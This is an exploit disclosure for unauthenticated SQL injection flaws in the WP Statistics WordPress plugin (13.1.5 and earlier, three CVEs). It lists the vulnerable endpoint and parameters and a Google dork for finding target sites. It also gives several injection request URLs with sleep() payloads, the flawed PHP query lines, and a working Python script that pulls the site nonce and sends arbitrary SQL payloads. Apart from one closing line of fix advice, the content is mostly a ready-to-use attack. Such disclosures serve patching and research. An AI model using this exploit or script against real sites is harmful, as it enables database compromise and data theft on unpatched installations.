Exploit Title | WordPress Plugin WP Statistics <= 13.1.5 - Multiple Unauthenticated SQL Injection vulnerabilities |
Exploit Author | Muhammad Zeeshan (Xib3rR4dAr) |
Date | February 13, 2022 |
Plugin Link | WP-Statistics |
Plugin Active Installations | 600,000+ |
Version | 13.1.5 (Latest) |
Tested on | Wordpress 5.9 |
Vulnerable Endpoint | /wp-json/wp-statistics/v2/hit |
Vulnerable File | /wp-content/plugins/wp-statistics/includes/class-wp-statistics-pages.php:225 |
Vulnerable Parameters | current_page_type, current_page_id, ip |
Google Dork | inurl:/wp-content/plugins/wp-statistics |
CVE | CVE-2022-0651, CVE-2022-25148, CVE-2022-25149 |
Endpoint is vulnerable to Unauthenticated SQL Injections when "Cache Compatibility" is enabled in Wp-Statistics settings.
Vulnerable Endpoint: /wp-json/wp-statistics/v2/hit
Vulnerable Parameters:
- current_page_id
- current_page_type
- ip
current_page_id
is Integer based SQL Injection while current_page_type
and ip
are String based SQL Injections.
- On wordpress installation, install latest version of WP-Statistics which is version 13.1.5 as of writing (February 13, 2022) from Wordpress Plugins Repo.
- After wordpress login, goto WP Statistics > Settings ie /wp-admin/admin.php?page=wps_settings_page and enable "Cache Compatibility"
- Unauthenticatedly, visit any page of target site and from response page get nonce value for wp-statistics and replace
_wpnonce
in following request:
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=sleep(3)&search_query&page_uri=/&user_id=0
- Make the request and SQL injection will trigger making site respond after 3 seconds.
PoCs for other parameters:
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=sleep(1)&search_query&page_uri=/&user_id=0
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home'-sleep(1)-'¤t_page_id=0&search_query&page_uri=/&user_id=0
/wp-json/wp-statistics/v2/hit?_=11&_wpnonce=935551c012&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip='-sleep(1)-'&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id=0&search_query&page_uri=/&user_id=0
wp-statistics/includes/class-wp-statistics-pages.php
225: $exist = $wpdb->get_row("SELECT `page_id` FROM `" . DB::table('pages') . "` WHERE `date` = '" . TimeZone::getCurrentDate('Y-m-d') . "' " . (array_key_exists("search_query", $current_page) === true ? "AND `uri` = '" . esc_sql($page_uri) . "'" : "") . "AND `type` = '{$current_page['type']}' AND `id` = {$current_page['id']}", ARRAY_A);
wp-statistics/includes/class-wp-statistics-visitor.php
79: $visitor = $wpdb->get_row("SELECT * FROM `" . DB::table('visitor') . "` WHERE `last_counter` = '" . ($date === false ? TimeZone::getCurrentDate('Y-m-d') : $date) . "' AND `ip` = '{$ip}'");
import requests, re, json, urllib.parse
wpurl = input('\nWordPress URL: ')
payload = input('\nPayload: ')
wp_session = requests.session()
wp = wp_session.get(wpurl)
wp_nonce = re.search(r'_wpnonce=(.*?)&wp_statistics_hit', wp.text).group(1)
headers = {"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15"}
payload = urllib.parse.quote_plus(payload)
exploit = f'/wp-json/wp-statistics/v2/hit?_=11&_wpnonce={wp_nonce}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1×tamp=11¤t_page_type=home¤t_page_id={payload}&search_query&page_uri=/&user_id=0'
exploit_url = wpurl+exploit
print(f'\nSending: {exploit_url}')
wp = wp_session.get(exploit_url, headers=headers)
data = wp.json()
print("\nResponse: \n" + json.dumps(data, sort_keys=True, indent=4))
print(f'\nTime taken: {wp.elapsed.total_seconds()}')
- Update wp-statistics plugin to version 13.1.6, or newer.